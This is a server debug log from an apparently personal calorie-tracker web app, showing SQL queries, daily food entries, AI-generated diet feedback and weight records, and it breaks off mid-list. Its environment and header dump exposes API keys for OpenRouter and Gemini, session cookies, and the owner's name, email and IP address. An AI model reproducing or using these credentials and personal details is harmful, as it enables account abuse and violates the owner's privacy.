2025-12-20T05:41:34.185Z server-connect:router Render template layouts/main
2025-12-20T05:41:34.186Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'x-forwarded-for': '157.48.251.16',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T03:30:22.106Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.251.16',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'HTTP_X_FORWARDED-FOR': '157.48.251.16',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-20T05:41:34.457Z server-connect:app Executing action step identify
2025-12-20T05:41:34.457Z server-connect:app options: { provider: 'security' }
2025-12-20T05:41:34.457Z server-connect:output identity: 1
2025-12-20T05:41:35.575Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-20T05:41:35.576Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-20T05:41:35.576Z server-connect:app Executing action step identify
2025-12-20T05:41:35.576Z server-connect:app options: { provider: 'security' }
2025-12-20T05:41:35.576Z server-connect:output identity: 1
2025-12-20T05:41:35.576Z server-connect:app Executing action step restrict
2025-12-20T05:41:35.576Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T05:41:35.577Z server-connect:app Executing action step identify
2025-12-20T05:41:35.577Z server-connect:app options: { provider: 'security' }
2025-12-20T05:41:35.577Z server-connect:output identity: 1
2025-12-20T05:41:35.577Z server-connect:app Executing action step restrict
2025-12-20T05:41:35.577Z server-connect:app options: { provider: 'security' }
2025-12-20T05:41:35.577Z server-connect:output restrict: undefined
2025-12-20T05:41:35.577Z server-connect:app Executing action step single
2025-12-20T05:41:35.577Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-20T05:41:35.577Z server-connect:output restrict: undefined
2025-12-20T05:41:35.577Z server-connect:app Executing action step single
2025-12-20T05:41:35.577Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-20T05:41:35.578Z server-connect:output summary: {
  summary: {
    rating: 3,
    summary: "Today's intake appears to be very limited, with only a pre-workout supplement and a single meal of paneer recorded. This lack of variety and substantial food intake is unlikely to support muscle development or provide adequate recovery after your early morning gym sessions. The weight logs show a general downward trend over the past couple of weeks, suggesting some progress, but the current day's nutrition is not aligned with your goals.",
    bad_points: [
      'Extremely limited food intake for the entire day.',
      'Lack of diverse food groups, missing carbohydrates and healthy fats.',
      'Inadequate protein intake for muscle development and recovery.',
      'No indication of hydration or other essential nutrients.'
    ],
    good_points: [
      'Pre-workout was consumed, indicating readiness for training.',
      'Paneer provides a good source of protein.'
    ],
    suggestions: [
      'Incorporate at least two more balanced meals throughout the day.',
      'Ensure meals include a good source of lean protein, complex carbohydrates, and healthy fats.',
      'Add a variety of vegetables and fruits for micronutrients and fiber.',
      'Prioritize post-workout nutrition to aid recovery and muscle synthesis.',
      'Stay well-hydrated by drinking plenty of water.'
    ],
    predicted_weight: 69.8,
    predicted_weight_trend: 'slight loss'
  },
  date: '2025-12-19T18:30:00.000Z'
}
2025-12-20T05:41:35.578Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-20T05:41:35.578Z server-connect:app Executing action step select
2025-12-20T05:41:35.578Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-20T05:41:35.579Z server-connect:output item_list: [
  {
    id: 460,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee,Green tea,BCAA supplements (calorie-free)',
    created_at: '2025-12-19T22:39:38.000Z',
    skip_level: 2,
    skip_reason: "Pre-workouts vary greatly in ingredients and calorie content. Some can contain significant amounts of sugar or artificial sweeteners, and their effectiveness for muscle development can be debated. While generally safe, it's good to be mindful of what's in your specific pre-workout."
  },
  {
    id: 461,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Paneer (soft and fluffy)',
    calories: 352,
    protein_gm: 23,
    carbs_gm: 4,
    fat_gm: 28,
    quantity: '110 gm',
    replacements: 'Tofu (firm or extra-firm),Low-fat cottage cheese,Chicken breast,Egg whites',
    created_at: '2025-12-19T22:39:38.000Z',
    skip_level: 1,
    skip_reason: "Paneer is a good source of protein and fat, essential for muscle development. While it's relatively high in calories and fat, in moderation and as part of a balanced diet, it's beneficial for your goals."
  },
  {
    id: 462,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (approx. 30g, assuming a standard scoop size to provide 27g protein)',
    replacements: 'Casein protein (slower digestion, similar calories),Plant-based protein (pea, rice, soy - can be lower calorie depending on brand)',
    created_at: '2025-12-20T00:11:33.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, high in protein, low in carbs and fat. Ideal for your goals.'
  }
]
2025-12-20T05:41:35.579Z server-connect:app Executing action step setvalue
2025-12-20T05:41:35.579Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-20T05:41:35.580Z server-connect:output var_total: 472
2025-12-20T05:41:35.580Z server-connect:app Executing action step setvalue
2025-12-20T05:41:35.580Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-20T05:41:35.580Z server-connect:output var_consumed: 20
2025-12-20T05:41:35.580Z server-connect:app Executing action step setvalue
2025-12-20T05:41:35.580Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-20T05:41:35.580Z server-connect:output var_deficit: 1928
2025-12-20T05:41:35.580Z server-connect:app Executing action step custom
2025-12-20T05:41:35.580Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-20T05:41:35.581Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '472',
    surplus_or_deficit: '1928',
    status_flag: 2
  }
]
2025-12-20T05:41:35.582Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-20T05:41:35.583Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-20T05:41:35.584Z server-connect:app Executing action step identify
2025-12-20T05:41:35.584Z server-connect:app options: { provider: 'security' }
2025-12-20T05:41:35.584Z server-connect:output identity: 1
2025-12-20T05:41:35.584Z server-connect:app Executing action step restrict
2025-12-20T05:41:35.584Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T05:41:35.584Z server-connect:app Executing action step identify
2025-12-20T05:41:35.584Z server-connect:app options: { provider: 'security' }
2025-12-20T05:41:35.585Z server-connect:output identity: 1
2025-12-20T05:41:35.585Z server-connect:app Executing action step restrict
2025-12-20T05:41:35.585Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T05:41:35.585Z server-connect:output restrict: undefined
2025-12-20T05:41:35.585Z server-connect:app Executing action step single
2025-12-20T05:41:35.585Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-20T05:41:35.585Z server-connect:output restrict: undefined
2025-12-20T05:41:35.586Z server-connect:app Executing action step select
2025-12-20T05:41:35.586Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-20T05:41:35.586Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-20T05:41:35.589Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-20T05:41:36.378Z server-connect:app Executing action step identify
2025-12-20T05:41:36.378Z server-connect:app options: { provider: 'security' }
2025-12-20T05:41:36.378Z server-connect:output identity: 1
2025-12-20T05:41:54.675Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-20T05:41:54.675Z server-connect:app Executing action step identify
2025-12-20T05:41:54.675Z server-connect:app options: { provider: 'security' }
2025-12-20T05:41:54.676Z server-connect:output identity: 1
2025-12-20T05:41:54.676Z server-connect:app Executing action step restrict
2025-12-20T05:41:54.676Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T05:41:54.676Z server-connect:output restrict: undefined
2025-12-20T05:41:54.676Z server-connect:app Executing action step select
2025-12-20T05:41:54.676Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-20T05:41:54.677Z server-connect:output items_consumed_today: [
  {
    id: 460,
    item_name: 'Pre-workout',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 scoop'
  },
  {
    id: 461,
    item_name: 'Paneer (soft and fluffy)',
    calories: 352,
    protein_gm: 23,
    carbs_gm: 4,
    fat_gm: 28,
    quantity: '110 gm'
  },
  {
    id: 462,
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (approx. 30g, assuming a standard scoop size to provide 27g protein)'
  }
]
2025-12-20T05:41:54.677Z server-connect:app Executing action step paged
2025-12-20T05:41:54.677Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-20T05:41:54.679Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 16,
  page: {
    offset: { first: 0, prev: 0, next: 15, last: 15 },
    current: 1,
    total: 2
  },
  data: [
    { date: '2025-12-19T18:30:00.000Z', weight: '69.95' },
    { date: '2025-12-18T18:30:00.000Z', weight: '70.50' },
    { date: '2025-12-17T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
